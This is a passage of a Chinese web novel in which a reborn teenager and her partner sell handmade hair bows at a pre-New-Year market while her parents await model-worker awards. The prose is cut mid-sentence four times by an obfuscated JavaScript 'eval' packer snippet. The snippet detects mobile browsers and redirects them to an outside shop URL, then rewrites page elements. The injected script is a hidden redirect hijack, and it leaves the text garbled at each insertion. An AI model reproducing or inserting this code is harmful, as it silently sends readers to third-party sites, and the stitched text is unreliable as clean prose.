于秀荷刚从沈立春家里回来,她看见柜子上多了一张裱起来的报纸,上面是汪顺莲澄清名誉那天的照片,她不禁想起那个扬言自己是记者的男人。 “妈妈,那个报纸上写了什么啊?我看你把它裱起来了!”相框只能看到报纸上的照片,于秀荷还没来得及把相框拆掉,细看报纸。 提起这事,汪顺莲瞬间高兴起来,自豪的宣布道,“我被京城晚报表扬了,他们说我是技术过人的标兵,还把‘汪一铲’的外号写在了报纸上,说是客人对我的‘爱称’! 今天上午,江城晚报的人也来采访我了。一大群人,有拿话筒的,有扛相机的,还问了我很多问题。等过两天,你们就能在江城晚报上看见我了。” “那可太好了!”于闻仲指了指桌上的素菜,说道,“这么大的喜事,应该买块肉回来庆祝!你只记得拿报纸回家,怎么不记得买块肉回家?” “咱们这个月的菜钱已经花超了,再过大半个月就过年了,得省着点!”汪顺莲提起这事,忍不住说道,“虽然这个月发生的都是好事,但你们也不能太高兴了,大把大把的钱往外花,以后的日子还过不过了?” 于闻仲、于秀雅、于秀荷三人老老实实低头吃饭,不敢再说话。 他们这阵子确实花的多了点! 于秀荷找汪顺莲要了做蝴蝶结生意的本钱,于秀雅要了找老师的钱,于闻仲没要什么钱,但之前修窗户买的木头都是好木头,也花了不少。 这么算下来,这一段时间还真是出了不少血! 好在之前在黑市卖掉的各种票回了一点血,不然,这个年都得紧巴巴的过了。 不行!我的蝴蝶结小生意得赶紧做起来了。 于秀荷边吃饭边思考,第一次摆摊要去哪里呢? 在街上随便找个地方摆摊当然也能卖出去,但既然出去摆摊了,就要利益最大化,要找一个人多的,最好还是大人带着小孩去的地方。 小孩看见了要买,有钱的大人就在旁边,有需求,又有足够的钱,交易量自然噌噌噌的往上涨。 于秀荷做梦还在想,她忽然梦到自己小时候逛庙会的情景,那个时候,周围到处都是带着小孩凑热闹的大人,人挤人,稍微不注意就会跟汪顺莲分开。 一到这种时候,汪顺莲就格外紧张。 被鸡叫吵醒之后,于秀荷忽然就知道要去哪里卖蝴蝶结了。 虽然最近没有庙会,但临近过年了,大家都开始置办年货,大部分人都会去供销社买,但供销社里的东西有限,而且价格统一,还要票,钱不够又没有票的人会去江城一条街,那里每个周末都会有乡下的农民贩卖自家吃不完的农产品。 那些东西不要票,还是新鲜的,要是讲讲价,价格还能更低。 比起供销社,大部分人更愿意去江城一条街买东西。 如今正是过年的时候,乡下的农民想把自己的东西卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340388|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去,换点钱好过年,城里的也想用低价买点肉、买点菜,过个热热闹闹的团圆年。 所以,这段时间,没有比江城一条街更热闹、人更多的地方了。 在那里摆个摊,置办年货的大人在菜价、肉价上得了便宜,也会更愿意给自家闺女买个漂亮的蝴蝶结。 眼看就要到周末了,于秀荷放学后直奔沈立春家。 沈立春刚把缝纫机搬回家,正点着煤油灯专心致志的做蝴蝶结。 听见于秀荷的动静,他回头,起身去把电灯打开,说道,“都跟你说剩下的我能自己搞定,不用你来帮忙了!” 虽然嘴上这么说,但沈立春的声音里没有抱怨,只有心疼。 “我来是要跟你说一件事!”于秀荷坐下,开始整理沈立春做好的蝴蝶结。 做了有小一个星期了,上周休息那天买的布,买回来当天,沈立春和于秀荷忙了一天,这几天每天放学于秀荷都会来帮沈立春的忙,虽然只是帮忙整理布料,搭配颜色。 两大包的布,如今也快用完了,于秀荷数了一下,做成的成品已经有五十个了。 “我想好我们去哪里卖蝴蝶结了!”于秀荷兴奋的说道,“江城一条街!那里有很多人卖菜、肉、鸡蛋,我们在那边摆摊,带着孩子来买年货的人会被吸引,没带孩子的看见别人买了,说不定也会想着给自家闺女买个蝴蝶结!” 沈立春其实也想到江城一条街了,听见于秀荷喋喋不休的述说江城一条街的好处,他悄悄眯起眼睛。 “怎么样?”于秀荷问道。 “好!”沈立春点头,“都听你的。” 于秀荷把所有的蝴蝶结整整齐齐摆放好,站起身,叉着腰宣布,“那就这么定了!我们回头找个板子,打上一排一排的小洞,摆摊的时候把蝴蝶结别在板子上,红的、花的、隔着老远都能看见,肯定能吸引很多人!” 沈立春想了想,说道,“不如用一块素色的布代替板子?拿两根棍子一左一右就能把布架起来,还能随意伸缩长短,方便适应摆摊的场地。如果用板子的话,比较沉,运输不方便,到时候占了别人的地方,说不定还会起争执!” 说的有道理! 她们两个第一次去摆摊,还是小心一点好,拿两个棍子一块布当背景板,摆出来快,收的也快,万一摆摊的位置选的不够好,想换位置也方便,“你说的还挺有道理的,就听你的了。” 沈立春再次眯起眼睛。 “不过,我们现在到哪去找素色的布啊?”于秀荷在脑海里思索自己有没有比较素的衣服,带花纹的都不行,不能突出蝴蝶结! “我家有!”沈立春放下手里的活,回屋翻出一块保存的很好的布,拿到于秀荷面前说,“你看,是不是很合适?” “这块布!”于秀荷上手摸了一下,虽然不是什么特别好的料子,但看起来就是精心保存的,这种布,拿出去当背景板,不太好吧?“太浪费了!我跟我姐要一件她不穿的衣服,拆开就能用了。” “没事!一直收着没地方用,现在刚好能用上!”沈立春不等于秀荷反驳,拿起剪刀哧溜一下,把布剪成两半,其中一半正好用来当蝴蝶结的陪衬! 19. 出摊! 周日,一周唯一能够休息的一天,早上刚吃完早饭,家里的两个女孩就跑了出去。 于闻仲在家里跟汪顺莲打扫卫生。 过年之前,家里要做一次大扫除! “冯腾飞应该知道我帮梁苦根干活要收钱的事情了!”于闻仲说道。 他之所以要让梁苦根对外说收了钱,就是想验证一下,冯腾飞还会不会再举报他。 虽说上辈子的事情不应该带到这辈子来,但于闻仲对冯腾飞的感情很复杂,在冯腾飞举报他之前,他一直把他当最疼爱的徒弟看待,他实在想不明白,冯腾飞为什么会举报他。 举报事件发生之后,周围的人跟于闻仲说,“早跟你说你那个徒弟心眼坏,不是个好人,你还不信,现在相信了吧?” 如果冯腾飞真的是个恶贯满盈的人,于闻仲当然不会被他蒙蔽,更不会收他为徒。可是,冯腾飞从不欺负弱小,对比他技术差的工人,他也会尽心尽力去教。 这也是于闻仲看重冯腾飞的原因之一。 可偏偏是这么一个人,连师傅恩情都不顾,举报了他。 所以于闻仲一直拿不准,冯腾飞到底是因为跟于闻仲的私怨举报他,还是因为他真的如同其他人说的那样,心眼本来就很坏。 这次,于闻仲自认为跟冯腾飞还没什么私交,他还没收他当徒弟,仅有的小半年教导也结束了。虽然没收他做徒弟,但也教了他小半年,怎么都不应该对他怀恨在心。 所以…… 他借着给梁苦根帮忙,故意重现了跟上辈子相同的情景! 如果冯腾飞还是选择举报他,那么……于闻仲也不再手下留情! 新账旧账,他要一起算! “防人之心不可无!”汪顺莲把垃圾扫出去,“就算不认识,也不能肯定他不会害你!” “等着吧!如果他要害我,也就在这几天了!” 两人暂且抛开冯腾飞这个话题,聊起其他的。 “你那个优秀标兵的事,定下了吗?”汪顺莲问道。 于闻仲摇摇头,“上次厂长说已经申请了,但文件还没下来。你们供销社的优秀标兵也该评选了吧?” 汪顺莲点点头,“余主任找我了,照他的意思,这次应该也有我!” 先不说王桂香事件让汪顺莲受了这么大的委屈,京城晚报登报,江城晚报采访,这两件大事就足够给汪顺莲评个优秀标兵了。 “要是我们都能评上,我们家今天就出两个标兵了!” 两人喜气洋洋的盘算着。 优秀标兵除了表彰,还有奖金呢! 虽然不多,但也能给家里添几个肉菜。 这几天为了省钱,家里一点荤腥都没见,再这么过下去,两个闺女就该抗议了。 说到两个闺女,于秀荷跟沈立春两人趁早到了江城一条街,到那的时候,人还不算多,不过,街道两边摆摊的摊位已经满满当当了。 “往里面走一点,在那个拐角!”于秀荷眼疾手快,找到了一个绝佳位置。 那个地方小,一左一右都是两个大摊,左边卖的是自己种的青菜,右边则是满满当当的炸货。 两人应该来的很早,所以东西摆的很开,中间刚好留下一个位置,可以让于秀荷、沈立春这样的小摊容身。 拐角处的人流量很大,等把东西摆出来,注意到的人一定会很多。 沈立春把车子推进去,解下绑在自行车上的两根棍子,一左一右立在两个大摊中间,于秀荷上前帮忙。 “哟!小伙子,要在这摆摊啊?”左边卖青菜的大娘问道。 “大娘放心,我们跟您卖的不一样!”于秀荷笑着回应道。 本来插在别人摊子中间就够让人不开心的了,要是还卖一样的东西,那岂不是故意找事了。 大娘呵呵一笑,说道,“小姑娘嘴巴挺厉害,是个卖货的料!” “那一会儿人来了,我也帮您喊两声!”于秀荷笑嘻嘻的套近乎。 “你们卖什么的啊?”大娘没了试探,只是好奇。 那块素色的布已经绑在棍子上了,沈立春和于秀荷两人把蝴蝶结从包里拿出来,一个又一个的别在布上。 像是蝴蝶落在草地上,瞬间把周围所有人的注意力吸引过去了。 “我们是卖发卡的!”于秀荷笑嘻嘻的说道,“都是自己用布做的,款式也是自己想出来的,我敢保证,整个江城,包括供销社,都没有我们这种发卡!” 大娘伸头看了两眼,布上别的发卡确实漂亮。 她家虽然住在乡下,却也有几家城里亲戚。每到过年,那些亲戚带着孩子回去拜访长辈,穿的都是体体面面的,跟乡下人简直是两个样。 大人就算了,人家领着国家的工资,每天也不用下地干活,身上的衣服磨损很少,乡下的庄稼汉自然比不上。 可小孩也两个样,衣服都是新的,但人家就是有办法买到新东西,好东西,去年就带了一个红色的花朵发卡,别在头上,把她家小闺女馋坏了,闹着也要。 她陪着笑去问,人家客客气气的说道,“哎呀,这要是一般的东西,我就让小孩拿下来给你了。不过这个发卡是我在供销社抢着买回来的,现在已经卖完了,想买都买不到了。她喜欢的不得了,我要是给了你,她回去非闹不可!” 嘴上抱歉,脸上却带着高人一等的洋洋得意! 她心里不快,却也只能陪着笑说,“你们城里的见识就是多,什么新鲜玩意都能买得到。” 如今,看见眼前五颜六色,样式各异的蝴蝶结,她忍不住问道,“真的在其他地方都买不到?” 于秀荷点点头,“除了我这,别的地方不可能买到。” “供销社也买不到?”大娘又问道。 她那个亲戚买东西必到供销社,好像从那里买的东西就高人一等一样。 要是这东西真的在供销社也买不到,她非得买回去给自家闺女戴上不可! 于秀荷保证道,“供销社绝对买不到!”她又补充道,“而且,我卖的比供销社卖的发卡便宜。供销社的发卡至少要一两块,我这个只卖五毛!” 卖菜的大娘虽然一捆菜还没卖出去,但她看着眼前的蝴蝶结心动了,“我要一个!不,两个!” 到时候给闺女扎两个小辫子,发卡一边别上一个! 于秀荷和沈立春还没把所有的蝴蝶结展示出来,就来了第一笔生意,她很兴奋,立刻说道,“没问题!大娘,你过来挑,看哪个好挑哪个,我给你取下来!” 大娘从摊子前绕出来,走到于秀荷和沈立春的摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346759|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位前,对着一排又一排的蝴蝶结,简直要挑花眼了。 “我的娘啊!这些都这么好看,还个个都不一样!你们都是怎么做出来的啊!” 毕竟是过年,大娘在里面挑了两个红色的,一个是双层的蝴蝶结,一个是带着黄色花边的蝴蝶结,从口袋里拿出一块钱,摸了摸还有点不舍,但一想到能在城里亲戚面前扬眉吐气,自家闺女也能不跟在他家闺女屁股后面转,大娘立刻就把钱递了过去。 “就这两个了!” “谢谢大娘照顾我们生意!”于秀荷把两个黑色的发卡递给大娘,“这种蝴蝶结是双带的,可以用这个发卡别在头上,也可以拿绳子,从蝴蝶结的后面穿过,绑在头发上。” 大娘接过发卡,笑着嘟囔道,“你们这花样还挺多!” 收下钱,于秀荷忍不住在沈立春面前晃了晃,这是她们赚到的第一笔钱,虽然很少,以后也会赚到更多,但第一笔,终究是不一样的。 沈立春一直忐忑着的心总算平静下来。 能卖出去! 幸好能卖出去,不然,他都不知道该如何面对于秀荷。 天色渐渐大亮,来买东西的人多了起来,她们的摊位吸引了很多人,但大多数人都只是看看,很好有人上来询问。 沈立春又开始担忧。 他不禁看向旁边的于秀荷,她半靠在自行车的座椅上,很悠闲,一点儿都不担心。 察觉到沈立春的视线后,于秀荷问道,“怎么了?” “没什么人过来,我们要不要喊两声?”周围的摊子上,卖青菜的、卖鸡的、卖炸货的,都在大声的叫卖! “不用!”于秀荷摆摆手,“我们的摊子已经够吸引人了!” “可是……”沈立春深吸了一口气,说道,“我来喊,不让你喊!” 于秀荷很是无所谓,“你想喊就喊吧!不过,刚才之所以没人过来,是因为来的都是大人,等再过一会儿,带着孩子的大人来了,他们的孩子自然会把他们拉过来!” 沈立春张了张嘴,在心里想好的叫卖声,却怎么都喊不出口。 不行! 卖不出去,他们收布的钱就得全赔进去! 做好心理建设,沈立春喊出一声细若蚊蝇的叫卖声‘蝴蝶结发卡!好看的蝴蝶结发卡!’ 声音之小,只有站在旁边的于秀荷能听见,她忍不住笑出声。 沈立春的脸立刻通红,红到他都不敢转过去看于秀荷。 “你声音这么小,谁能听见啊?”于秀荷边笑边吐槽道。 说着,她大声喊了一句‘蝴蝶结发卡!比供销社便宜的蝴蝶结发卡!数量有限,先到先得!’ 这么一嗓子喊下去,还真喊来了几个客人。 “比供销社便宜吗?” 于秀荷立刻说道,“便宜多了!供销社至少卖一两块,我这只卖五毛。而且,我们卖的比供销社卖的好看多了!” “拿回去就能带吗?”问问题的是个大男人,似乎并不太懂这些女孩子戴在头上的玩意。 “能!每个蝴蝶结我们都赠送一个发卡,能别在头上。拿根绳子穿在蝴蝶结后面,也能绑在头发上,想怎么戴就怎么戴!”于秀荷详细的解释道。 “给我拿一个!”男人掏钱的动作很利索。 20. 红红火火! 沈立春收钱、找钱,于秀荷把蝴蝶结交到男人手上。 两人配合的很默契! 摊位前站了几个人后,来问价的更多了。 街上的人越来越多,很多带着孩子来买年货的人姗姗来迟! 于秀荷预估的购买蝴蝶结的‘主力军’到达,这些主力军没让她失望,看到素色布匹上别着的蝴蝶结,当时就走不动路了。 “妈妈,我要那个蝴蝶结!” “今天是来买肉的,买什么蝴蝶结!” “我就要!” “蝴蝶结又不能吃,妈妈给你买肉吃!乖!” 于秀荷往往会在这个时候喊上一声,“蝴蝶结!比供销社卖的还便宜的蝴蝶结!数量有限,先到先得!” 她喊完之后,被孩子缠的没有办法的大人往往会过来问一声,“比供销社还便宜,你卖多少钱?” “五毛!”于秀荷指着面前挂着的蝴蝶结说道,“都是我们自己做的,比供销社的好看,还便宜!买一个回去,绝对不吃亏!” “妈妈,给我买吧!上次在供销社让你给我买,你说太贵了不买。这里的这么便宜,还比供销社的好看,你总该给我买吧?”小孩子看不懂脸色,不知道买东西的技巧,总会在这个时候成为于秀荷的帮手。 “行行行,我给你买!” 还有试图跟于秀荷讲价的。 “五毛太贵了,我看这也没多少布料,便宜点吧!三毛卖不卖?” 于秀荷会带着微笑,斩钉截铁的回答道,“不卖!” “行了,小孩非闹着要。我再给你添一毛,四毛总行了吧?” 于秀荷脸上的微笑不变,仍旧是斩钉截铁的回答,“不卖!我们的蝴蝶结比供销社的好,还比供销社的便宜,五毛是我们的最低价,不讲价!” 有些客人会拂袖而去,也有些客人会肉疼的掏出钱。 不过好在街上的人真的是很多,摊子前一波又一波的客人来来往往,素色布上的蝴蝶结肉眼可见的在减少。 太阳越爬越高,摊子上的蝴蝶结就剩下两个了。 今天赚了足足有二十多块,沈立春以前都没见过这么多钱! “说不定我们能在中午之前就回去呢!”于秀荷说道。 她来之前还跟汪顺莲说,中午不回去吃饭了,照这个趋势,没到中午,她们的东西就能全都卖出去! 正说着,一个穿戴体面的女人带着两个女孩走到摊子前,两个女孩头上各带一个花朵发卡,于秀荷认识,那是供销社卖的货。 “蝴蝶结发卡怎么卖?”女人问道。 “五毛一个!”于秀荷介绍道。 她有一股直觉,最后两个蝴蝶结发卡就要卖出去了。 “行!都给我吧!”女人很爽快,立刻就开始从钱包里拿钱。 于秀荷便动手把布上最后两个蝴蝶结发卡拿下来。 就在这时,一个小女孩拽着大人走到于秀荷、沈立春的摊子前,大人嘴里嘟囔着,“给你买!给你买!行了吧!” 说完,抬头对于秀荷说道,“给我拿一个蝴蝶结发卡吧!” 于秀荷认出,这是刚才试图讲价,没有成功后拂袖而去的人。 “不好意思,蝴蝶结发卡已经卖完了!”于秀荷歉意的说道。 “你手里不是还有吗?” 于秀荷把发卡交给已经付过钱的女人,解释道,“已经卖出去了!” 没买到发卡的小女孩立刻坐在地上开始哭闹,“现在好了,没有了!” “别哭!别哭!”于秀荷赶紧安慰道,“我们下周还来呢!要是想要,下周再来买吧!” 沈立春已经在旁边开始收摊了,素色的布从棍子上解下来,叠好,放回到包里。棍子捆好,绑到自行车上。 摊都收了,看样子是确实没有了。 小女孩被大人拉起来,安慰道,“下周买,下周肯定给你买!” 沈立春推着自行车从人群中挤出去,还不忘回头拉一拉于秀荷。 两人从挤满人的江城一条街走出去,此刻的心情跟几个小时之前截然不同。 于秀荷自豪满满,这是她重生之后挣到的第一笔钱,虽然不多,但至少能给家里改善一下伙食。而且,从这次摆摊的情况看,她的蝴蝶结市场一片蓝海,只要有货,根本不愁卖。 在前面推着自行车的沈立春心情更是明媚,他比于秀荷还高兴。 没有于秀荷的松弛和自信,他在做这些蝴蝶结时是很不安的,有时候,做蝴蝶结做到深夜,他会突然停下,并不是累了,而是突然开始心慌,害怕万一做出来全都砸手里怎么办? 那些布,都是碎布,花了十几块,如果卖不出去,就全都会变成一文不值的废品! 到时候,于秀荷会不会被家里骂?她会不会很失望?会不会……会不会对他很失望?以后再也不跟他说话了? 这些不安,在不到三个小时就售罄的现实前烟消云散。 成功了! 他们成功了! 挂在身前的背包里装着这次卖出去的所有钱,一共二十五块五。 沈奶奶每天都在外面摆摊,生意好的时候才能赚到一块钱,生意不好的时候只能赚到几毛,偶尔不开张也不稀奇。 可他一次就赚到了二十五块五! 除去购买碎布的十一块钱,剩下十四块五,按照分成,于秀荷能分到六成,也就是八块多,沈立春能分到四成,也就是五块多,将近六块。 这还只是一个星期的成果,沈立春只利用了放学后的时间,如果他再加把劲,请几天假,干脆……年前不去上学了! 如果能把一整天的时间都用到做蝴蝶结上,两天他就能做出以前一个星期的量! 六块会翻倍,变成十二块、十八块、二十四块…… 沈立春看到源源不断的金钱在向他招手! 两人回到沈立春家,沈奶奶今天没有出去摆摊,孙子好不容易有一天休息,她今天在家里干活。 “奶奶,今天多做点饭!秀荷在这吃!”沈立春说道。 “好嘞!”沈奶奶也喜欢于秀荷这个小丫头,问也不问,立刻就答应了。 “不用了!”于秀荷不好意思在沈立春家吃饭,她婉拒道,“我跟我妈说中午回去!” “就在这吃吧!”沈立春可不信于秀荷说的话,今天出去摆摊,生意好不好谁也不知道,要是卖到中午没卖完,肯定是继续坚持坚持,绝不可能会临时回家吃饭! “还没到中午呢!”于秀荷开玩笑道,“我们把钱分分就结束了,下午也不用再出去卖蝴蝶结了,我还在这吃饭,沈奶奶该说我不懂事了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351068|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“下午有事!”沈立春把车子停稳,解下身上的包,递给于秀荷,到屋子里找来打气筒,把自行车的气打足,“碎布剩的不多了,我们再去周围的村子买一点!蝴蝶结卖得好,我们年前争取多卖一点!” “这么急?” 今天出去摆摊已经很累了,再去收布,只会更累。 于秀荷还好,她坐在自行车后座上,还能休息休息,沈立春可是要蹬着自行车,带着一百多斤的于秀荷骑行好几个小时呢! 这一天下来,腿都得累断! 沈立春点点头,“多收点布,我就能多做点蝴蝶结,趁着年前,我们多赚点。” 自行车的前胎后胎都被打足了气,沈立春满意的点点头。 “你不累吗?”于秀荷纳闷道。 “不累!”沈立春拽着于秀荷进屋,“我们数一数今天的钱!” 他不是说假话,他确实不累。 或者说,比起累,他更兴奋,一直暗淡无光的未来突然照射进一道光,他现在有希望抓到这束光,他怎么敢停下来? 把袋子里的零钱全部都拿出来,沈立春重新数了一遍。 二十五块五,一分不差! “先扣除你上次买布的成本,十一块!”沈立春把钱推到于秀荷面前。 于秀荷跟妈妈借的钱终于能还回去了,不仅沈立春松了一口气,于秀荷也悄悄的松了一口气。 虽然汪顺莲并没有把这笔钱放到心上,就算不还回去,汪顺莲也不会说什么,但是,夸下海口说能赚钱,结果还赔了十几块进去,于秀荷自己都不好意思。 “我们之前谈好的分成,你六我四,这里还剩下十四块五,你应该分八块七,我应该分五块八!”沈立春把剩下的钱分成两份。 拿了六成的于秀荷有点心虚,这些蝴蝶结全都是沈立春做的,放学回到家本身就很晚了,不知道熬了多久才做出这么多的蝴蝶结,结果她拿了大头。 于秀荷觉得自己像一个邪恶的资本家! “我们今天下午去收布,收布的本钱我们自己出,我的分成全都放进去!”沈立春没有丝毫犹豫的把所有的钱都推了出去。 五块八,对他来说不是一笔小钱。 但是,现在形势正好,如果还畏畏缩缩的,这辈子也不可能翻身,现在的沈立春,尤其是尝过甜头的沈立春,比第一次跟于秀荷见面时意志坚定的多了。 “你也出一部分吧!”沈立春说道,“跟我出一样的就行,我们还是六四分,你六我四!” 于秀荷忽然就有些不好意思了,她把自己的分成推到中间,“我的分成也全部投进去。不过,分成我要改一改!” 改? 沈立春稍稍有些惊讶,不过,几乎是瞬间,他就说服了自己。 如果没有于秀荷,他根本不可能赚到这些钱。 在这个生意里,所有的风险都是她来承担的,就如同于秀荷当初劝他参伙一样,沈立春没有承担任何风险,分成再低一点也是应该的。 “你想改成多少?”沈立春问道。 “我要改成五五!”于秀荷说道。 刚开始,她是抱着帮一帮沈立春的想法,但是,这个生意做下来,她觉得可以当成一个长期的生意。 沈立春这样坦诚、优秀、真诚的合伙人,她得把人留下来。 21. 意外! 五五! 沈立春听到这两个字后,有些动容,他没有想到,于秀荷会主动把分成改成五五! 她刚开始提出合作时说的就是五五,不过,那时候赚不赚钱还两说,分成对两人来说只存在于理论中,但是,现在已经赚到了钱,未来还会赚更多的钱,她居然会在这个时候把分成改回五五。 这意味着,她主动把更多的钱分给了沈立春! “怎么了?不愿意吗?”于秀荷说完,迟迟不见沈立春回答,她问道。 “愿意!”沈立春低下头,压下即将夺眶而出的泪水,“谢谢你,我一定会好好做蝴蝶结,争取卖更多出去!” 沈立春这么一说,于秀荷反而不好意思了,她觉得自己在占沈立春便宜,没想到沈立春还表上衷心了! “你先休息一下!”沈立春说道,“我再去做几个蝴蝶结!” “我跟你一起吧!”干的活本来就少的于秀荷可不好意思单独休息。 两人走到缝纫机旁,沈立春踩着缝纫机继续做蝴蝶结,于秀荷把碎布整理出来,裁成方形,为做蝴蝶结准备好材料。 两个人就这么安静的各自做各自的活。 做着做着,于秀荷打了个哈欠,她有些累,有些无聊,便趴在放碎布的桌子上稍微眯了一会儿。 等到被叫醒的时候,沈奶奶已经做好饭了。 “先去吃饭吧!”沈立春说道,“吃完你先去睡一会儿,睡醒我们再去收布!” 擦擦嘴角睡着时险些流出来的口水,于秀荷跟着沈立春来到两人吃饭的小桌子。 沈奶奶热情的招呼她,“秀荷,快来,吃饭!” 桌上的菜很普通,只有一小盘青菜,几个红薯饼子,三碗米汤。 于秀荷坐下,拘谨的拿起筷子,开始小口小口的喝着米汤。 “你吃红薯饼子吗?”沈立春问道。 于秀荷不想吃,依照沈立春的饭量,桌上的这点东西全进他的胃,他也能吃干净,况且于秀荷也不怎么饿。 早上出来之前,她预计今天会很晚回去,特意吃了很多。 “吃一点吧!”没等于秀荷拒绝,沈立春给她掰了一小块,“下午还要出去呢!” 也对,现在的天气还有点冷,要是不吃一点,还真撑不住呢! 接过来咬了一口,出人意料的很香。 “沈奶奶做的很好吃!”于秀荷开口夸赞道。 沈奶奶哈哈一笑,纠正道,“我老了,这么好的饼子我可擀不出来,这都是立春做的。” 于秀荷惊讶的看过去! 没想到,沈立春居然还会做饭,还能做的这么好吃! “锅里还热着鸡蛋羹!”沈立春说道,“红薯饼别吃太多,等会吃完鸡蛋羹再吃!” 又是鸡蛋! 现在的鸡蛋也是很值钱的,沈立春还做鸡蛋羹! 于秀荷又开始愧疚了! 到现在,所有的钱都投入成本了,还没产生一分钱的纯利润呢,她就吃了沈立春家这么多鸡蛋,给他原本就困难的经济雪上加霜! 真是太不应该了! 沈立春三两口吃下红薯饼,起身走进厨房,在厨房停留了大概一两分钟的时间,端着两碗热气腾腾的鸡蛋羹走出来。 一碗放到于秀荷面前,一碗放到沈奶奶面前。 鸡蛋羹上点了香油,闻着特别香。 只有两碗,看样子沈立春没舍得给自己喝。她刚想开口,跟沈立春分一碗,沈奶奶的嘴更快,说道,“我不喝,我不爱喝,给你喝吧!” 沈立春根本不听,说道,“喝吧!你要是不喝,秀荷就更不好意思喝了!” 说完,又拿起一个红薯饼,自顾自的吃了起来。 其间还不忘给于秀荷和沈奶奶夹菜。 沈奶奶看了一眼于秀荷,这才不甘愿的喝了起来。 于秀荷也开始小口小口的喝着鸡蛋羹,她觉得鸡蛋羹也做的格外的好吃。 虽然于家的伙食比沈家的好,汪顺莲做饭也很好吃,但沈立春做的饭就是有他独特的味道,就像无师自通的天才,都是同样的招数,或者,他乱七八糟打一通,你精心练习的剑法瞬间被破解。 吃了大半碗,于秀荷把剩下的鸡蛋羹放到沈立春面前,说道,“我喝不完了,给你喝吧!” 如今的卫生习惯比不上以后,剩下的半碗鸡蛋羹虽然沾了于秀荷的口水,但如此珍惜的食物,没人会介意上面有没有沾上别人的口水,沈立春也是如此。 他一言不发的端过碗,三两口喝完。 于秀荷吃的很饱,她放下筷子,沈奶奶也吃完了,桌上只剩下沈立春还在吃,他吃饭的速度明显加快,把剩余的食物集中到一起,干干脆脆的打扫干净。 吃东西的速度很快,却没有狼吞虎咽的感觉,于秀荷忍不住感慨,脸长得好看就是有优势啊! 沈立春站起身后,于秀荷也跟着站起来,她吃了沈家的饭,帮忙洗洗碗是应该的。 “你去睡一会吧!”沈立春指着旁边的小屋子,说道,“里面有棉被,你去里面睡一会儿,等出发的时候,我再去叫你。” “我帮你一起洗碗吧!”于秀荷主动说道。 沈奶奶拉住她,说道,“秀荷不要跟他争了,立春干活很利索的。你去立春的房间睡一会儿吧,他很爱干净的,你不要担心,安心去睡吧!” 于秀荷实在拒绝不了沈奶奶的好意,被她带到沈立春的床前。 “哎呀,我一直想要个丫头跟我作伴呢,以前立春小的时候,我还给他穿过小裙子。”沈奶奶看着于秀荷,就像是看着自己的小孙女,“你要是我的小孙女就好了!” 沈奶奶像带小朋友一样,帮于秀荷把被子铺好。 “把棉袄脱了就行,也睡不了多长时间,穿穿脱脱的,省的感冒!” 看见被子,于秀荷真的有点累了。 想到一会儿就得出去收布,她脱下棉袄、棉鞋,把被子往身上一裹,几乎没废什么事,就昏睡过去。 等到被叫醒后,已经一点多了! 她居然睡了有一个小时。 “秀荷,该起来了!”沈立春小声说道。 于秀荷迷迷糊糊从被子里爬起来,沈立春把旁边的棉袄递给她,她迷迷糊糊的,也不知道在想些什么,沈立春只好给她找到棉袄的袖子,举起来对她说,“手在这!” 穿好衣服,于秀荷坐到自行车的后座上,吹着寒风,她只觉得自己命苦! 于秀荷忙着自己蝴蝶结事业的时候,于秀雅也没闲着。 她往舒丽娟那里跑很多次了,只不过,每一次,舒丽娟都不松口。 客客气气的把于秀雅请到屋子里,有时候还会给她泡上一杯茶,但一提到跟戏曲有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355412|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关的事情,舒丽娟就开始推脱。 “我老了!听也听不清了!教就更教不了了!” 跑的次数多了,于秀雅渐渐把请教的事放到后面了,她感觉自己爱上了舒丽娟这里的氛围。 安安静静的,只沉浸在自己的世界里,即使旁边还坐着另一个人,但完全不会影响到自己的精神世界。 于秀雅渐渐开始把这里当成她的自习室! 反正舒丽娟也不讨厌她! 这天,于秀雅拿着自己的书,再次来到舒丽娟的门口,她正值高三,面临升学还是择业的分岔口! 上辈子,家里发生变故,她心神不宁,根本没心思参加高考,家里只出不进,还要留够妹妹的学费,根本承担不起大学的学费和生活费。 